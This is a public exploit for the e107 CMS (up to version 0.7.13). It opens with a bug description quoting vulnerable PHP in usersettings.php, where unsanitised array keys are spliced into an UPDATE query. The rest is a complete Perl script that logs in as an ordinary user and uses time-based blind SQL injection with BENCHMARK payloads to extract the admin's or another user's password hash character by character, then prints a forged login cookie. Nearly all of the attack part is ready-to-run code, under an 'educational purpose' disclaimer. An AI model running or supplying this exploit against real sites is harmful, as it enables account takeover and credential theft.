# Author: __GiReX__ # Homepage: http://girex.altervista.org # Date: 19/10/2008 # CMS: e107 # URL: http://e107.org/ # Note: Works regardless of php.ini settings (magic_quotes, register_globals..) # Attenction: This exploit was written for educational purpose. # Use it at your own risk. Author will be not responsible for any damage. # Description: e107 is a content management system written in PHP # and using the popular open source MySQL database system for content storage. # It's completely free, totally customisable and in constant development. # Bug description: # e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue']) # goes into an update query, it cleans the values of this array but not the keys name... # File: usersettings.php (line 363-395) if($_POST['ue']) ... foreach($_POST['ue'] as $key => $val) $err = $ue->user_extended_validate_entry($val,$extList[$key]); if(!$err) $val = $tp->toDB($val); <== Cleans values $ue_fields .= $key."='".$val."'"; <== Here our $_POST['ue'] keys and values } } ... # Lines: 496-500 if($ue_fields) { // ***** Next line creates a record which presumably should be there anyway, so could generate an error $sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')"); $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'"); <== Here vulnearable query } # As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method #!/usr/bin/perl # e107 <= 0.7.13 Blind SQL Injection Exploit # Admin/User's Password Retrieve Exploit # Works regardless of php.ini settings # Coded by __GiReX__ use POSIX; use LWP::UserAgent; use HTTP::Cookies; use Digest::MD5 qw(md5 md5_hex md5_base64); if(@ARGV < 4) { banner(); print "[+] You need an user account to run this exploit\n\n"; print "[+] Usage: perl $0 \n"; print "[+] Example: perl $0 localhost /e107/ test password 1\n"; exit; } my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0].$ARGV[1]: 'http://' . $ARGV[0].$ARGV[1]; my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1); my $lwp = new LWP::UserAgent or die; my $cookie_jar = new HTTP::Cookies or die; $lwp->cookie_jar( $cookie_jar ); my @cset = (48..57, 97..102); my $benchmark = 1000000; my $prefix = "e107"; my $hash = ""; banner(); try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n"; syswrite(STDOUT, "[+] Logged in with your account..\n". "[+] Checking database delay, please wait..\n\n" ); $ndelay = check_bench("1=0"); print STDOUT "[+] Normal delay: $ndelay\n"; $bdelay = check_bench("1=1"); print STDOUT "[+] Benchmark delay: $bdelay\n\n"; if($bdelay - $ndelay < 4) { print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n"; exit (); } for(my $j = 1; $j <= 32; $j++) { foreach $char(@cset) { info(chr($char), $hash, "password"); my ($pre_time, $post_time) = time(); $rv = check_char($char, $j, "user_password"); $post_time = time(); if($rv and ($post_time - $pre_time) > ($ndelay + 3)) { $hash .= chr($char); last; } } last if $j != length($hash); } if(not defined $hash or length($hash) != 32) { print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n"; exit; } else { print STDOUT "\n\n[+] You can try to login with this cookie:\n"; print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n"; } sub try_login { my ($user, $pass) = @_; my $res = $lwp->post( $target.'news.php' , [ 'username' => $user, 'userpass' => $pass, 'userlogin' => 'Login', 'autologin' => '1' ] ); if($res->status_line =~ /^302|200|301/ or $res->is_success) { if($res->as_string =~ /Set-Cookie: (.+)cookie/) { $cookie_prefix = $1; return 1; } return undef; } die ("[-] Unable to request ${target}news.php ".$res->status_line."\n"); } sub info { my($c, $cur, $str) = @_; $cur = '' unless defined $cur; print STDOUT "[+] Victim ${str}: ${cur}${c}\r"; $| = 1; } sub check_bench { my $true = shift; my $delay = 0; my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#"; for(1..3) { my ($pre_time, $post_time) = time(); my $res = $lwp->post( $target.'usersettings.php', [ 'email' => 'damn@email.com', 'updatesettings' => 'Save Settings', "ue[${sql}]" => 'damn' ]); $post_time = time(); $delay += int($post_time - $pre_time); } return ceil($delay / 3); } sub check_char { my ($char, $n, $field) = @_ ; $rand = int($char + $n); my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ". "FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#"; my $res = $lwp->post( $target.'usersettings.php', [ 'email' => 'damn@email.com', 'updatesettings' => 'Save Settings', "ue[${sql}]" => 'damn' ]); return $res->is_success; } sub banner { print "\n"; print "[+] e107 <= 0.7.13 Blind SQL Injection\n"; print "[+] Admin/User's Password Retrieve Exploit\n"; print "[+] Coded by __GiReX__\n"; print "\n"; }